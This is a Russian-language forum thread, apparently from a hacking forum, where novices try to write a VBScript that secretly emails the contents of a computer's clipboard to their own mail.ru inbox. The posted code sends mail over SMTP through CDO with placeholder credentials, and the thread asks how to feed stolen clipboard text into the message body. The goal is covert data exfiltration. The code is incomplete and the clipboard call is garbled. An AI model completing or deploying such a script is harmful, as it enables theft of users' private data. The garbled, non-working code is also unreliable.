VBS for lamers => how to?

set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","ТВОЙ MAIL","ТВОЙ MAIL","ТЕМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ТУТ ВВОДИТЬ СВОЙ НИК НА WWW.MAIL.RU"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ТУТ ПАРОЛЬ ОТ АККА"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25


я так понел, этот кусок кода поможет отправеть к нам на мыло нужные данные.
Как бэ реализовать отправку на мыло содержимое буфера обмена. Причом не чего попало, а тока те что быле переданы методом GetText.

Я так понел первоночально нужно : Text = Clipboard.Q«tT«xt([format]), но неношол в нете инфы по отправке этого дела на майл в текстовом виде.. кто падскажет?

 

ну походу так
strBody = Clipboard.Q«tT«xt([format])
если я всё правильно понял

 

А потом strBody на мыло? чо та не догоняю..чо та не робототет так.. хз..

 

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?

ах да. если взять полный код для отправки

Code:

Call SendPost("mail", "mail@mail.ru", "mail@mail.ru", "tema", Body)
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
    Set iMsg = CreateObject("CDO.Message")
    Set iConf = CreateObject("CDO.Configuration")
    Set Flds = iConf.Fields
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP_Server
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
    Flds.Update
    iMsg.Configuration = iConf
    iMsg.To = strTo
    iMsg.From = strFrom
    iMsg.Subject = strSubject
    iMsg.TextBody = strBody
    iMsg.Send
End Function

то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format])

 

спасибо , сейчас покумекаю... хотя колы уже нет и на часах 8.31
----------------
Вобщем не понимаю.. кто знает?